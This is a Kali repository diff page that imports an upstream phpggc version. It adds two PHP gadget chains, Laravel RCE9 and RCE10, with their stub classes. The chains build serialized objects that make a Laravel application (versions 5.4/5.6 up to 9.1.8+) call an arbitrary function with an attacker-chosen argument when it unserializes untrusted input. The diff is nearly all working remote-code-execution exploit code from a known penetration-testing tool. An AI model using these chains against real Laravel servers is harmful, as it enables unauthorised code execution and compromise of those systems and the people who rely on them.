Codebase list phpggc / 4942cf9
Import upstream version 0.20220524 Kali Janitor 1 year, 11 months ago
4 changed file(s) with 119 addition(s) and 0 deletion(s). Raw diff Collapse all Expand all
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE10 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.6.0 <= 9.1.8+';
7 public static $vector = '__toString';
8 public static $author = 'Arjun Shibu (twitter.com/0xsegf), 0xcrypto';
9
10 public function generate(array $parameters)
11 {
12 $func = $parameters['function'];
13 $arg = $parameters['parameter'];
14
15 $guard = new \Illuminate\Auth\RequestGuard("call_user_func", $func, $arg);
16 $userfn = [$guard, 'user'];
17 $requiredif = new \Illuminate\Validation\Rules\RequiredIf($userfn);
18
19 return $requiredif;
20 }
21 }
0 <?php
1
2 namespace Illuminate\Validation\Rules
3 {
4 class RequiredIf
5 {
6 public function __construct($condition)
7 {
8 $this->condition = $condition;
9 }
10 }
11 }
12
13 namespace Illuminate\Auth
14 {
15 class RequestGuard
16 {
17 public function __construct($callback, $request, $provider)
18 {
19 $this->callback = $callback;
20 $this->request = $request;
21 $this->provider = $provider;
22 }
23 }
24 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE9 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.4.0 <= 9.1.8+';
7 public static $vector = '__destruct';
8 public static $author = '1nhann';
9
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $param = $parameters['parameter'];
15
16 $dispatcher = new \Illuminate\Bus\Dispatcher($function);
17 $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$param);
18 return $pendingBroadcast;
19 }
20 }
0 <?php
1 namespace Illuminate\Contracts\Queue
2 {
3 interface ShouldQueue
4 {
5 }
6 }
7
8 namespace Illuminate\Bus
9 {
10 class Dispatcher
11 {
12 protected $container;
13 protected $pipeline;
14 protected $pipes = [];
15 protected $handlers = [];
16 protected $queueResolver;
17 function __construct($function)
18 {
19 $this->queueResolver = $function;
20
21 }
22 }
23 }
24
25 namespace Illuminate\Broadcasting
26 {
27 use Illuminate\Contracts\Queue\ShouldQueue;
28
29 class BroadcastEvent implements ShouldQueue
30 {
31 function __construct()
32 {
33
34 }
35 }
36
37 class PendingBroadcast
38 {
39 protected $events;
40 protected $event;
41
42 function __construct($dispatcher,$param)
43 {
44 $this->event = new BroadcastEvent();
45 $this->event->connection = $param;
46 $this->events = $dispatcher;
47 }
48 }
49 }
50